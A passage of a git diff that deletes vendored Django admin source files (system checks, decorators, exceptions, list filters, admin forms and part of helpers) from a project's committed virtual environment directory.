else: - return [] - - def _check_list_select_related(self, obj): - """Check that list_select_related is a boolean, a list or a tuple.""" - - if not isinstance(obj.list_select_related, (bool, list, tuple)): - return must_be( - "a boolean, tuple or list", - option="list_select_related", - obj=obj, - id="admin.E117", - ) - else: - return [] - - def _check_list_per_page(self, obj): - """Check that list_per_page is an integer.""" - - if not isinstance(obj.list_per_page, int): - return must_be( - "an integer", option="list_per_page", obj=obj, id="admin.E118" - ) - else: - return [] - - def _check_list_max_show_all(self, obj): - """Check that list_max_show_all is an integer.""" - - if not isinstance(obj.list_max_show_all, int): - return must_be( - "an integer", option="list_max_show_all", obj=obj, id="admin.E119" - ) - else: - return [] - - def _check_list_editable(self, obj): - """Check that list_editable is a sequence of editable fields from - list_display without first element.""" - - if not isinstance(obj.list_editable, (list, tuple)): - return must_be( - "a list or tuple", option="list_editable", obj=obj, id="admin.E120" - ) - else: - return list( - chain.from_iterable( - self._check_list_editable_item( - obj, item, "list_editable[%d]" % index - ) - for index, item in enumerate(obj.list_editable) - ) - ) - - def _check_list_editable_item(self, obj, field_name, label): - try: - field = obj.model._meta.get_field(field_name) - except FieldDoesNotExist: - return refer_to_missing_field( - field=field_name, option=label, obj=obj, id="admin.E121" - ) - else: - if field_name not in obj.list_display: - return [ - checks.Error( - "The value of '%s' refers to '%s', which is not " - "contained in 'list_display'." % (label, field_name), - obj=obj.__class__, - id="admin.E122", - ) - ] - elif obj.list_display_links and field_name in obj.list_display_links: - return [ - checks.Error( - "The value of '%s' cannot be in both 'list_editable' and " - "'list_display_links'." % field_name, - obj=obj.__class__, - id="admin.E123", - ) - ] - # If list_display[0] is in list_editable, check that - # list_display_links is set. See #22792 and #26229 for use cases. - elif ( - obj.list_display[0] == field_name - and not obj.list_display_links - and obj.list_display_links is not None - ): - return [ - checks.Error( - "The value of '%s' refers to the first field in 'list_display' " - "('%s'), which cannot be used unless 'list_display_links' is " - "set." % (label, obj.list_display[0]), - obj=obj.__class__, - id="admin.E124", - ) - ] - elif not field.editable or field.primary_key: - return [ - checks.Error( - "The value of '%s' refers to '%s', which is not editable " - "through the admin." % (label, field_name), - obj=obj.__class__, - id="admin.E125", - ) - ] - else: - return [] - - def _check_search_fields(self, obj): - """Check search_fields is a sequence.""" - - if not isinstance(obj.search_fields, (list, tuple)): - return must_be( - "a list or tuple", option="search_fields", obj=obj, id="admin.E126" - ) - else: - return [] - - def _check_date_hierarchy(self, obj): - """Check that date_hierarchy refers to DateField or DateTimeField.""" - - if obj.date_hierarchy is None: - return [] - else: - try: - field = get_fields_from_path(obj.model, obj.date_hierarchy)[-1] - except (NotRelationField, FieldDoesNotExist): - return [ - checks.Error( - "The value of 'date_hierarchy' refers to '%s', which " - "does not refer to a Field." % obj.date_hierarchy, - obj=obj.__class__, - id="admin.E127", - ) - ] - else: - if field.get_internal_type() not in {"DateField", "DateTimeField"}: - return must_be( - "a DateField or DateTimeField", - option="date_hierarchy", - obj=obj, - id="admin.E128", - ) - else: - return [] - - def _check_actions(self, obj): - errors = [] - actions = obj._get_base_actions() - - # Actions with an allowed_permission attribute require the ModelAdmin - # to implement a has__permission() method for each permission. - for func, name, _ in actions: - if not hasattr(func, "allowed_permissions"): - continue - for permission in func.allowed_permissions: - method_name = "has_%s_permission" % permission - if not hasattr(obj, method_name): - errors.append( - checks.Error( - "%s must define a %s() method for the %s action." - % ( - obj.__class__.__name__, - method_name, - func.__name__, - ), - obj=obj.__class__, - id="admin.E129", - ) - ) - # Names need to be unique. - names = collections.Counter(name for _, name, _ in actions) - for name, count in names.items(): - if count > 1: - errors.append( - checks.Error( - "__name__ attributes of actions defined in %s must be " - "unique. Name %r is not unique." - % ( - obj.__class__.__name__, - name, - ), - obj=obj.__class__, - id="admin.E130", - ) - ) - return errors - - -class InlineModelAdminChecks(BaseModelAdminChecks): - def check(self, inline_obj, **kwargs): - parent_model = inline_obj.parent_model - return [ - *super().check(inline_obj), - *self._check_relation(inline_obj, parent_model), - *self._check_exclude_of_parent_model(inline_obj, parent_model), - *self._check_extra(inline_obj), - *self._check_max_num(inline_obj), - *self._check_min_num(inline_obj), - *self._check_formset(inline_obj), - ] - - def _check_exclude_of_parent_model(self, obj, parent_model): - # Do not perform more specific checks if the base checks result in an - # error. - errors = super()._check_exclude(obj) - if errors: - return [] - - # Skip if `fk_name` is invalid. - if self._check_relation(obj, parent_model): - return [] - - if obj.exclude is None: - return [] - - fk = _get_foreign_key(parent_model, obj.model, fk_name=obj.fk_name) - if fk.name in obj.exclude: - return [ - checks.Error( - "Cannot exclude the field '%s', because it is the foreign key " - "to the parent model '%s'." - % ( - fk.name, - parent_model._meta.label, - ), - obj=obj.__class__, - id="admin.E201", - ) - ] - else: - return [] - - def _check_relation(self, obj, parent_model): - try: - _get_foreign_key(parent_model, obj.model, fk_name=obj.fk_name) - except ValueError as e: - return [checks.Error(e.args[0], obj=obj.__class__, id="admin.E202")] - else: - return [] - - def _check_extra(self, obj): - """Check that extra is an integer.""" - - if not isinstance(obj.extra, int): - return must_be("an integer", option="extra", obj=obj, id="admin.E203") - else: - return [] - - def _check_max_num(self, obj): - """Check that max_num is an integer.""" - - if obj.max_num is None: - return [] - elif not isinstance(obj.max_num, int): - return must_be("an integer", option="max_num", obj=obj, id="admin.E204") - else: - return [] - - def _check_min_num(self, obj): - """Check that min_num is an integer.""" - - if obj.min_num is None: - return [] - elif not isinstance(obj.min_num, int): - return must_be("an integer", option="min_num", obj=obj, id="admin.E205") - else: - return [] - - def _check_formset(self, obj): - """Check formset is a subclass of BaseModelFormSet.""" - - if not _issubclass(obj.formset, BaseModelFormSet): - return must_inherit_from( - parent="BaseModelFormSet", option="formset", obj=obj, id="admin.E206" - ) - else: - return [] - - -def must_be(type, option, obj, id): - return [ - checks.Error( - "The value of '%s' must be %s." % (option, type), - obj=obj.__class__, - id=id, - ), - ] - - -def must_inherit_from(parent, option, obj, id): - return [ - checks.Error( - "The value of '%s' must inherit from '%s'." % (option, parent), - obj=obj.__class__, - id=id, - ), - ] - - -def refer_to_missing_field(field, option, obj, id): - return [ - checks.Error( - "The value of '%s' refers to '%s', which is not a field of '%s'." - % (option, field, obj.model._meta.label), - obj=obj.__class__, - id=id, - ), - ] diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/decorators.py b/backend/venv/Lib/site-packages/django/contrib/admin/decorators.py deleted file mode 100644 index d3ff56a5..00000000 --- a/backend/venv/Lib/site-packages/django/contrib/admin/decorators.py +++ /dev/null @@ -1,111 +0,0 @@ -def action(function=None, *, permissions=None, description=None): - """ - Conveniently add attributes to an action function:: - - @admin.action( - permissions=['publish'], - description='Mark selected stories as published', - ) - def make_published(self, request, queryset): - queryset.update(status='p') - - This is equivalent to setting some attributes (with the original, longer - names) on the function directly:: - - def make_published(self, request, queryset): - queryset.update(status='p') - make_published.allowed_permissions = ['publish'] - make_published.short_description = 'Mark selected stories as published' - """ - - def decorator(func): - if permissions is not None: - func.allowed_permissions = permissions - if description is not None: - func.short_description = description - return func - - if function is None: - return decorator - else: - return decorator(function) - - -def display( - function=None, *, boolean=None, ordering=None, description=None, empty_value=None -): - """ - Conveniently add attributes to a display function:: - - @admin.display( - boolean=True, - ordering='-publish_date', - description='Is Published?', - ) - def is_published(self, obj): - return obj.publish_date is not None - - This is equivalent to setting some attributes (with the original, longer - names) on the function directly:: - - def is_published(self, obj): - return obj.publish_date is not None - is_published.boolean = True - is_published.admin_order_field = '-publish_date' - is_published.short_description = 'Is Published?' - """ - - def decorator(func): - if boolean is not None and empty_value is not None: - raise ValueError( - "The boolean and empty_value arguments to the @display " - "decorator are mutually exclusive." - ) - if boolean is not None: - func.boolean = boolean - if ordering is not None: - func.admin_order_field = ordering - if description is not None: - func.short_description = description - if empty_value is not None: - func.empty_value_display = empty_value - return func - - if function is None: - return decorator - else: - return decorator(function) - - -def register(*models, site=None): - """ - Register the given model(s) classes and wrapped ModelAdmin class with - admin site: - - @register(Author) - class AuthorAdmin(admin.ModelAdmin): - pass - - The `site` kwarg is an admin site to use instead of the default admin site. - """ - from django.contrib.admin import ModelAdmin - from django.contrib.admin.sites import AdminSite - from django.contrib.admin.sites import site as default_site - - def _model_admin_wrapper(admin_class): - if not models: - raise ValueError("At least one model must be passed to register.") - - admin_site = site or default_site - - if not isinstance(admin_site, AdminSite): - raise ValueError("site must subclass AdminSite") - - if not issubclass(admin_class, ModelAdmin): - raise ValueError("Wrapped class must subclass ModelAdmin.") - - admin_site.register(models, admin_class=admin_class) - - return admin_class - - return _model_admin_wrapper diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/exceptions.py b/backend/venv/Lib/site-packages/django/contrib/admin/exceptions.py deleted file mode 100644 index 6105eef4..00000000 --- a/backend/venv/Lib/site-packages/django/contrib/admin/exceptions.py +++ /dev/null @@ -1,25 +0,0 @@ -from django.core.exceptions import SuspiciousOperation - - -class DisallowedModelAdminLookup(SuspiciousOperation): - """Invalid filter was passed to admin view via URL querystring""" - - pass - - -class DisallowedModelAdminToField(SuspiciousOperation): - """Invalid to_field was passed to admin view via URL query string""" - - pass - - -class AlreadyRegistered(Exception): - """The model is already registered.""" - - pass - - -class NotRegistered(Exception): - """The model is not registered.""" - - pass diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/filters.py b/backend/venv/Lib/site-packages/django/contrib/admin/filters.py deleted file mode 100644 index 10a039af..00000000 --- a/backend/venv/Lib/site-packages/django/contrib/admin/filters.py +++ /dev/null @@ -1,716 +0,0 @@ -""" -This encapsulates the logic for displaying filters in the Django admin. -Filters are specified in models with the "list_filter" option. - -Each filter subclass knows how to display a filter for a field that passes a -certain test -- e.g. being a DateField or ForeignKey. -""" - -import datetime - -from django.contrib.admin.exceptions import NotRegistered -from django.contrib.admin.options import IncorrectLookupParameters -from django.contrib.admin.utils import ( - build_q_object_from_lookup_parameters, - get_last_value_from_parameters, - get_model_from_relation, - prepare_lookup_value, - reverse_field_path, -) -from django.core.exceptions import ImproperlyConfigured, ValidationError -from django.db import models -from django.utils import timezone -from django.utils.translation import gettext_lazy as _ - - -class ListFilter: - title = None # Human-readable title to appear in the right sidebar. - template = "admin/filter.html" - - def __init__(self, request, params, model, model_admin): - self.request = request - # This dictionary will eventually contain the request's query string - # parameters actually used by this filter. - self.used_parameters = {} - if self.title is None: - raise ImproperlyConfigured( - "The list filter '%s' does not specify a 'title'." - % self.__class__.__name__ - ) - - def has_output(self): - """ - Return True if some choices would be output for this filter. - """ - raise NotImplementedError( - "subclasses of ListFilter must provide a has_output() method" - ) - - def choices(self, changelist): - """ - Return choices ready to be output in the template. - - `changelist` is the ChangeList to be displayed. - """ - raise NotImplementedError( - "subclasses of ListFilter must provide a choices() method" - ) - - def queryset(self, request, queryset): - """ - Return the filtered queryset. - """ - raise NotImplementedError( - "subclasses of ListFilter must provide a queryset() method" - ) - - def expected_parameters(self): - """ - Return the list of parameter names that are expected from the - request's query string and that will be used by this filter. - """ - raise NotImplementedError( - "subclasses of ListFilter must provide an expected_parameters() method" - ) - - -class FacetsMixin: - def get_facet_counts(self, pk_attname, filtered_qs): - raise NotImplementedError( - "subclasses of FacetsMixin must provide a get_facet_counts() method." - ) - - def get_facet_queryset(self, changelist): - filtered_qs = changelist.get_queryset( - self.request, exclude_parameters=self.expected_parameters() - ) - return filtered_qs.aggregate( - **self.get_facet_counts(changelist.pk_attname, filtered_qs) - ) - - -class SimpleListFilter(FacetsMixin, ListFilter): - # The parameter that should be used in the query string for that filter. - parameter_name = None - - def __init__(self, request, params, model, model_admin): - super().__init__(request, params, model, model_admin) - if self.parameter_name is None: - raise ImproperlyConfigured( - "The list filter '%s' does not specify a 'parameter_name'." - % self.__class__.__name__ - ) - if self.parameter_name in params: - value = params.pop(self.parameter_name) - self.used_parameters[self.parameter_name] = value[-1] - lookup_choices = self.lookups(request, model_admin) - if lookup_choices is None: - lookup_choices = () - self.lookup_choices = list(lookup_choices) - - def has_output(self): - return len(self.lookup_choices) > 0 - - def value(self): - """ - Return the value (in string format) provided in the request's - query string for this filter, if any, or None if the value wasn't - provided. - """ - return self.used_parameters.get(self.parameter_name) - - def lookups(self, request, model_admin): - """ - Must be overridden to return a list of tuples (value, verbose value) - """ - raise NotImplementedError( - "The SimpleListFilter.lookups() method must be overridden to " - "return a list of tuples (value, verbose value)." - ) - - def expected_parameters(self): - return [self.parameter_name] - - def get_facet_counts(self, pk_attname, filtered_qs): - original_value = self.used_parameters.get(self.parameter_name) - counts = {} - for i, choice in enumerate(self.lookup_choices): - self.used_parameters[self.parameter_name] = choice[0] - lookup_qs = self.queryset(self.request, filtered_qs) - if lookup_qs is not None: - counts[f"{i}__c"] = models.Count( - pk_attname, - filter=models.Q(pk__in=lookup_qs), - ) - self.used_parameters[self.parameter_name] = original_value - return counts - - def choices(self, changelist): - add_facets = changelist.add_facets - facet_counts = self.get_facet_queryset(changelist) if add_facets else None - yield { - "selected": self.value() is None, - "query_string": changelist.get_query_string(remove=[self.parameter_name]), - "display": _("All"), - } - for i, (lookup, title) in enumerate(self.lookup_choices): - if add_facets: - if (count := facet_counts.get(f"{i}__c", -1)) != -1: - title = f"{title} ({count})" - else: - title = f"{title} (-)" - yield { - "selected": self.value() == str(lookup), - "query_string": changelist.get_query_string( - {self.parameter_name: lookup} - ), - "display": title, - } - - -class FieldListFilter(FacetsMixin, ListFilter): - _field_list_filters = [] - _take_priority_index = 0 - list_separator = "," - - def __init__(self, field, request, params, model, model_admin, field_path): - self.field = field - self.field_path = field_path - self.title = getattr(field, "verbose_name", field_path) - super().__init__(request, params, model, model_admin) - for p in self.expected_parameters(): - if p in params: - value = params.pop(p) - self.used_parameters[p] = prepare_lookup_value( - p, value, self.list_separator - ) - - def has_output(self): - return True - - def queryset(self, request, queryset): - try: - q_object = build_q_object_from_lookup_parameters(self.used_parameters) - return queryset.filter(q_object) - except (ValueError, ValidationError) as e: - # Fields may raise a ValueError or ValidationError when converting - # the parameters to the correct type. - raise IncorrectLookupParameters(e) - - @classmethod - def register(cls, test, list_filter_class, take_priority=False): - if take_priority: - # This is to allow overriding the default filters for certain types - # of fields with some custom filters. The first found in the list - # is used in priority. - cls._field_list_filters.insert( - cls._take_priority_index, (test, list_filter_class) - ) - cls._take_priority_index += 1 - else: - cls._field_list_filters.append((test, list_filter_class)) - - @classmethod - def create(cls, field, request, params, model, model_admin, field_path): - for test, list_filter_class in cls._field_list_filters: - if test(field): - return list_filter_class( - field, request, params, model, model_admin, field_path=field_path - ) - - -class RelatedFieldListFilter(FieldListFilter): - def __init__(self, field, request, params, model, model_admin, field_path): - other_model = get_model_from_relation(field) - self.lookup_kwarg = "%s__%s__exact" % (field_path, field.target_field.name) - self.lookup_kwarg_isnull = "%s__isnull" % field_path - self.lookup_val = params.get(self.lookup_kwarg) - self.lookup_val_isnull = get_last_value_from_parameters( - params, self.lookup_kwarg_isnull - ) - super().__init__(field, request, params, model, model_admin, field_path) - self.lookup_choices = self.field_choices(field, request, model_admin) - if hasattr(field, "verbose_name"): - self.lookup_title = field.verbose_name - else: - self.lookup_title = other_model._meta.verbose_name - self.title = self.lookup_title - self.empty_value_display = model_admin.get_empty_value_display() - - @property - def include_empty_choice(self): - """ - Return True if a "(None)" choice should be included, which filters - out everything except empty relationships. - """ - return self.field.null or (self.field.is_relation and self.field.many_to_many) - - def has_output(self): - if self.include_empty_choice: - extra = 1 - else: - extra = 0 - return len(self.lookup_choices) + extra > 1 - - def expected_parameters(self): - return [self.lookup_kwarg, self.lookup_kwarg_isnull] - - def field_admin_ordering(self, field, request, model_admin): - """ - Return the model admin's ordering for related field, if provided. - """ - try: - related_admin = model_admin.admin_site.get_model_admin( - field.remote_field.model - ) - except NotRegistered: - return () - else: - return related_admin.get_ordering(request) - - def field_choices(self, field, request, model_admin): - ordering = self.field_admin_ordering(field, request, model_admin) - return field.get_choices(include_blank=False, ordering=ordering) - - def get_facet_counts(self, pk_attname, filtered_qs): - counts = { - f"{pk_val}__c": models.Count( - pk_attname, filter=models.Q(**{self.lookup_kwarg: pk_val}) - ) - for pk_val, _ in self.lookup_choices - } - if self.include_empty_choice: - counts["__c"] = models.Count( - pk_attname, filter=models.Q(**{self.lookup_kwarg_isnull: True}) - ) - return counts - - def choices(self, changelist): - add_facets = changelist.add_facets - facet_counts = self.get_facet_queryset(changelist) if add_facets else None - yield { - "selected": self.lookup_val is None and not self.lookup_val_isnull, - "query_string": changelist.get_query_string( - remove=[self.lookup_kwarg, self.lookup_kwarg_isnull] - ), - "display": _("All"), - } - count = None - for pk_val, val in self.lookup_choices: - if add_facets: - count = facet_counts[f"{pk_val}__c"] - val = f"{val} ({count})" - yield { - "selected": self.lookup_val is not None - and str(pk_val) in self.lookup_val, - "query_string": changelist.get_query_string( - {self.lookup_kwarg: pk_val}, [self.lookup_kwarg_isnull] - ), - "display": val, - } - empty_title = self.empty_value_display - if self.include_empty_choice: - if add_facets: - count = facet_counts["__c"] - empty_title = f"{empty_title} ({count})" - yield { - "selected": bool(self.lookup_val_isnull), - "query_string": changelist.get_query_string( - {self.lookup_kwarg_isnull: "True"}, [self.lookup_kwarg] - ), - "display": empty_title, - } - - -FieldListFilter.register(lambda f: f.remote_field, RelatedFieldListFilter) - - -class BooleanFieldListFilter(FieldListFilter): - def __init__(self, field, request, params, model, model_admin, field_path): - self.lookup_kwarg = "%s__exact" % field_path - self.lookup_kwarg2 = "%s__isnull" % field_path - self.lookup_val = get_last_value_from_parameters(params, self.lookup_kwarg) - self.lookup_val2 = get_last_value_from_parameters(params, self.lookup_kwarg2) - super().__init__(field, request, params, model, model_admin, field_path) - if ( - self.used_parameters - and self.lookup_kwarg in self.used_parameters - and self.used_parameters[self.lookup_kwarg] in ("1", "0") - ): - self.used_parameters[self.lookup_kwarg] = bool( - int(self.used_parameters[self.lookup_kwarg]) - ) - - def expected_parameters(self): - return [self.lookup_kwarg, self.lookup_kwarg2] - - def get_facet_counts(self, pk_attname, filtered_qs): - return { - "true__c": models.Count( - pk_attname, filter=models.Q(**{self.field_path: True}) - ), - "false__c": models.Count( - pk_attname, filter=models.Q(**{self.field_path: False}) - ), - "null__c": models.Count( - pk_attname, filter=models.Q(**{self.lookup_kwarg2: True}) - ), - } - - def choices(self, changelist): - field_choices = dict(self.field.flatchoices) - add_facets = changelist.add_facets - facet_counts = self.get_facet_queryset(changelist) if add_facets else None - for lookup, title, count_field in ( - (None, _("All"), None), - ("1", field_choices.get(True, _("Yes")), "true__c"), - ("0", field_choices.get(False, _("No")), "false__c"), - ): - if add_facets: - if count_field is not None: - count = facet_counts[count_field] - title = f"{title} ({count})" - yield { - "selected": self.lookup_val == lookup and not self.lookup_val2, - "query_string": changelist.get_query_string( - {self.lookup_kwarg: lookup}, [self.lookup_kwarg2] - ), - "display": title, - } - if self.field.null: - display = field_choices.get(None, _("Unknown")) - if add_facets: - count = facet_counts["null__c"] - display = f"{display} ({count})" - yield { - "selected": self.lookup_val2 == "True", - "query_string": changelist.get_query_string( - {self.lookup_kwarg2: "True"}, [self.lookup_kwarg] - ), - "display": display, - } - - -FieldListFilter.register( - lambda f: isinstance(f, models.BooleanField), BooleanFieldListFilter -) - - -class ChoicesFieldListFilter(FieldListFilter): - def __init__(self, field, request, params, model, model_admin, field_path): - self.lookup_kwarg = "%s__exact" % field_path - self.lookup_kwarg_isnull = "%s__isnull" % field_path - self.lookup_val = params.get(self.lookup_kwarg) - self.lookup_val_isnull = get_last_value_from_parameters( - params, self.lookup_kwarg_isnull - ) - super().__init__(field, request, params, model, model_admin, field_path) - - def expected_parameters(self): - return [self.lookup_kwarg, self.lookup_kwarg_isnull] - - def get_facet_counts(self, pk_attname, filtered_qs): - return { - f"{i}__c": models.Count( - pk_attname, - filter=models.Q( - (self.lookup_kwarg, value) - if value is not None - else (self.lookup_kwarg_isnull, True) - ), - ) - for i, (value, _) in enumerate(self.field.flatchoices) - } - - def choices(self, changelist): - add_facets = changelist.add_facets - facet_counts = self.get_facet_queryset(changelist) if add_facets else None - yield { - "selected": self.lookup_val is None, - "query_string": changelist.get_query_string( - remove=[self.lookup_kwarg, self.lookup_kwarg_isnull] - ), - "display": _("All"), - } - none_title = "" - for i, (lookup, title) in enumerate(self.field.flatchoices): - if add_facets: - count = facet_counts[f"{i}__c"] - title = f"{title} ({count})" - if lookup is None: - none_title = title - continue - yield { - "selected": self.lookup_val is not None - and str(lookup) in self.lookup_val, - "query_string": changelist.get_query_string( - {self.lookup_kwarg: lookup}, [self.lookup_kwarg_isnull] - ), - "display": title, - } - if none_title: - yield { - "selected": bool(self.lookup_val_isnull), - "query_string": changelist.get_query_string( - {self.lookup_kwarg_isnull: "True"}, [self.lookup_kwarg] - ), - "display": none_title, - } - - -FieldListFilter.register(lambda f: bool(f.choices), ChoicesFieldListFilter) - - -class DateFieldListFilter(FieldListFilter): - def __init__(self, field, request, params, model, model_admin, field_path): - self.field_generic = "%s__" % field_path - self.date_params = { - k: v[-1] for k, v in params.items() if k.startswith(self.field_generic) - } - - now = timezone.now() - # When time zone support is enabled, convert "now" to the user's time - # zone so Django's definition of "Today" matches what the user expects. - if timezone.is_aware(now): - now = timezone.localtime(now) - - if isinstance(field, models.DateTimeField): - today = now.replace(hour=0, minute=0, second=0, microsecond=0) - else: # field is a models.DateField - today = now.date() - tomorrow = today + datetime.timedelta(days=1) - if today.month == 12: - next_month = today.replace(year=today.year + 1, month=1, day=1) - else: - next_month = today.replace(month=today.month + 1, day=1) - next_year = today.replace(year=today.year + 1, month=1, day=1) - - self.lookup_kwarg_since = "%s__gte" % field_path - self.lookup_kwarg_until = "%s__lt" % field_path - self.links = ( - (_("Any date"), {}), - ( - _("Today"), - { - self.lookup_kwarg_since: today, - self.lookup_kwarg_until: tomorrow, - }, - ), - ( - _("Past 7 days"), - { - self.lookup_kwarg_since: today - datetime.timedelta(days=7), - self.lookup_kwarg_until: tomorrow, - }, - ), - ( - _("This month"), - { - self.lookup_kwarg_since: today.replace(day=1), - self.lookup_kwarg_until: next_month, - }, - ), - ( - _("This year"), - { - self.lookup_kwarg_since: today.replace(month=1, day=1), - self.lookup_kwarg_until: next_year, - }, - ), - ) - if field.null: - self.lookup_kwarg_isnull = "%s__isnull" % field_path - self.links += ( - (_("No date"), {self.field_generic + "isnull": True}), - (_("Has date"), {self.field_generic + "isnull": False}), - ) - super().__init__(field, request, params, model, model_admin, field_path) - - def expected_parameters(self): - params = [self.lookup_kwarg_since, self.lookup_kwarg_until] - if self.field.null: - params.append(self.lookup_kwarg_isnull) - return params - - def get_facet_counts(self, pk_attname, filtered_qs): - return { - f"{i}__c": models.Count(pk_attname, filter=models.Q(**param_dict)) - for i, (_, param_dict) in enumerate(self.links) - } - - def choices(self, changelist): - add_facets = changelist.add_facets - facet_counts = self.get_facet_queryset(changelist) if add_facets else None - for i, (title, param_dict) in enumerate(self.links): - param_dict_str = {key: str(value) for key, value in param_dict.items()} - if add_facets: - count = facet_counts[f"{i}__c"] - title = f"{title} ({count})" - yield { - "selected": self.date_params == param_dict_str, - "query_string": changelist.get_query_string( - param_dict_str, [self.field_generic] - ), - "display": title, - } - - -FieldListFilter.register(lambda f: isinstance(f, models.DateField), DateFieldListFilter) - - -# This should be registered last, because it's a last resort. For example, -# if a field is eligible to use the BooleanFieldListFilter, that'd be much -# more appropriate, and the AllValuesFieldListFilter won't get used for it. -class AllValuesFieldListFilter(FieldListFilter): - def __init__(self, field, request, params, model, model_admin, field_path): - self.lookup_kwarg = field_path - self.lookup_kwarg_isnull = "%s__isnull" % field_path - self.lookup_val = params.get(self.lookup_kwarg) - self.lookup_val_isnull = get_last_value_from_parameters( - params, self.lookup_kwarg_isnull - ) - self.empty_value_display = model_admin.get_empty_value_display() - parent_model, reverse_path = reverse_field_path(model, field_path) - # Obey parent ModelAdmin queryset when deciding which options to show - if model == parent_model: - queryset = model_admin.get_queryset(request) - else: - queryset = parent_model._default_manager.all() - self.lookup_choices = ( - queryset.distinct().order_by(field.name).values_list(field.name, flat=True) - ) - super().__init__(field, request, params, model, model_admin, field_path) - - def expected_parameters(self): - return [self.lookup_kwarg, self.lookup_kwarg_isnull] - - def get_facet_counts(self, pk_attname, filtered_qs): - return { - f"{i}__c": models.Count( - pk_attname, - filter=models.Q( - (self.lookup_kwarg, value) - if value is not None - else (self.lookup_kwarg_isnull, True) - ), - ) - for i, value in enumerate(self.lookup_choices) - } - - def choices(self, changelist): - add_facets = changelist.add_facets - facet_counts = self.get_facet_queryset(changelist) if add_facets else None - yield { - "selected": self.lookup_val is None and self.lookup_val_isnull is None, - "query_string": changelist.get_query_string( - remove=[self.lookup_kwarg, self.lookup_kwarg_isnull] - ), - "display": _("All"), - } - include_none = False - count = None - empty_title = self.empty_value_display - for i, val in enumerate(self.lookup_choices): - if add_facets: - count = facet_counts[f"{i}__c"] - if val is None: - include_none = True - empty_title = f"{empty_title} ({count})" if add_facets else empty_title - continue - val = str(val) - yield { - "selected": self.lookup_val is not None and val in self.lookup_val, - "query_string": changelist.get_query_string( - {self.lookup_kwarg: val}, [self.lookup_kwarg_isnull] - ), - "display": f"{val} ({count})" if add_facets else val, - } - if include_none: - yield { - "selected": bool(self.lookup_val_isnull), - "query_string": changelist.get_query_string( - {self.lookup_kwarg_isnull: "True"}, [self.lookup_kwarg] - ), - "display": empty_title, - } - - -FieldListFilter.register(lambda f: True, AllValuesFieldListFilter) - - -class RelatedOnlyFieldListFilter(RelatedFieldListFilter): - def field_choices(self, field, request, model_admin): - pk_qs = ( - model_admin.get_queryset(request) - .distinct() - .values_list("%s__pk" % self.field_path, flat=True) - ) - ordering = self.field_admin_ordering(field, request, model_admin) - return field.get_choices( - include_blank=False, limit_choices_to={"pk__in": pk_qs}, ordering=ordering - ) - - -class EmptyFieldListFilter(FieldListFilter): - def __init__(self, field, request, params, model, model_admin, field_path): - if not field.empty_strings_allowed and not field.null: - raise ImproperlyConfigured( - "The list filter '%s' cannot be used with field '%s' which " - "doesn't allow empty strings and nulls." - % ( - self.__class__.__name__, - field.name, - ) - ) - self.lookup_kwarg = "%s__isempty" % field_path - self.lookup_val = get_last_value_from_parameters(params, self.lookup_kwarg) - super().__init__(field, request, params, model, model_admin, field_path) - - def get_lookup_condition(self): - lookup_conditions = [] - if self.field.empty_strings_allowed: - lookup_conditions.append((self.field_path, "")) - if self.field.null: - lookup_conditions.append((f"{self.field_path}__isnull", True)) - return models.Q.create(lookup_conditions, connector=models.Q.OR) - - def queryset(self, request, queryset): - if self.lookup_kwarg not in self.used_parameters: - return queryset - if self.lookup_val not in ("0", "1"): - raise IncorrectLookupParameters - - lookup_condition = self.get_lookup_condition() - if self.lookup_val == "1": - return queryset.filter(lookup_condition) - return queryset.exclude(lookup_condition) - - def expected_parameters(self): - return [self.lookup_kwarg] - - def get_facet_counts(self, pk_attname, filtered_qs): - lookup_condition = self.get_lookup_condition() - return { - "empty__c": models.Count(pk_attname, filter=lookup_condition), - "not_empty__c": models.Count(pk_attname, filter=~lookup_condition), - } - - def choices(self, changelist): - add_facets = changelist.add_facets - facet_counts = self.get_facet_queryset(changelist) if add_facets else None - for lookup, title, count_field in ( - (None, _("All"), None), - ("1", _("Empty"), "empty__c"), - ("0", _("Not empty"), "not_empty__c"), - ): - if add_facets: - if count_field is not None: - count = facet_counts[count_field] - title = f"{title} ({count})" - yield { - "selected": self.lookup_val == lookup, - "query_string": changelist.get_query_string( - {self.lookup_kwarg: lookup} - ), - "display": title, - } diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/forms.py b/backend/venv/Lib/site-packages/django/contrib/admin/forms.py deleted file mode 100644 index bbb072bd..00000000 --- a/backend/venv/Lib/site-packages/django/contrib/admin/forms.py +++ /dev/null @@ -1,31 +0,0 @@ -from django.contrib.auth.forms import AuthenticationForm, PasswordChangeForm -from django.core.exceptions import ValidationError -from django.utils.translation import gettext_lazy as _ - - -class AdminAuthenticationForm(AuthenticationForm): - """ - A custom authentication form used in the admin app. - """ - - error_messages = { - **AuthenticationForm.error_messages, - "invalid_login": _( - "Please enter the correct %(username)s and password for a staff " - "account. Note that both fields may be case-sensitive." - ), - } - required_css_class = "required" - - def confirm_login_allowed(self, user): - super().confirm_login_allowed(user) - if not user.is_staff: - raise ValidationError( - self.error_messages["invalid_login"], - code="invalid_login", - params={"username": self.username_field.verbose_name}, - ) - - -class AdminPasswordChangeForm(PasswordChangeForm): - required_css_class = "required" diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/helpers.py b/backend/venv/Lib/site-packages/django/contrib/admin/helpers.py deleted file mode 100644 index 51450d1d..00000000 --- a/backend/venv/Lib/site-packages/django/contrib/admin/helpers.py +++ /dev/null @@ -1,568 +0,0 @@ -import json - -from django import forms -from django.contrib.admin.utils import ( - display_for_field, - flatten_fieldsets, - help_text_for_field, - label_for_field, - lookup_field, - quote, -) -from django.core.exceptions import ObjectDoesNotExist -from django.db.models.fields.related import ( - ForeignObjectRel, - ManyToManyRel, - OneToOneField, -) -from django.forms.utils import flatatt -from django.template.defaultfilters import capfirst, linebreaksbr -from django.urls import NoReverseMatch, reverse -from django.utils.functional import cached_property -from django.utils.html import conditional_escape, format_html -from django.utils.safestring import mark_safe -from django.utils.translation import gettext -from django.utils.translation import gettext_lazy as _ - -ACTION_CHECKBOX_NAME = "_selected_action" - - -class ActionForm(forms.Form): - action = forms.ChoiceField(label=_("Action:")) - select_across = forms.BooleanField( - label="", - required=False, - initial=0, - widget=forms.HiddenInput({"class": "select-across"}), - ) - - -class AdminForm: - def __init__( - self, - form, - fieldsets, - prepopulated_fields, - readonly_fields=None, - model_admin=None, - ): - self.form, self.fieldsets = form, fieldsets - self.prepopulated_fields = [ - {"field": form[field_name], "dependencies": [form[f] for f in dependencies]} - for field_name, dependencies in prepopulated_fields.items() - ] - 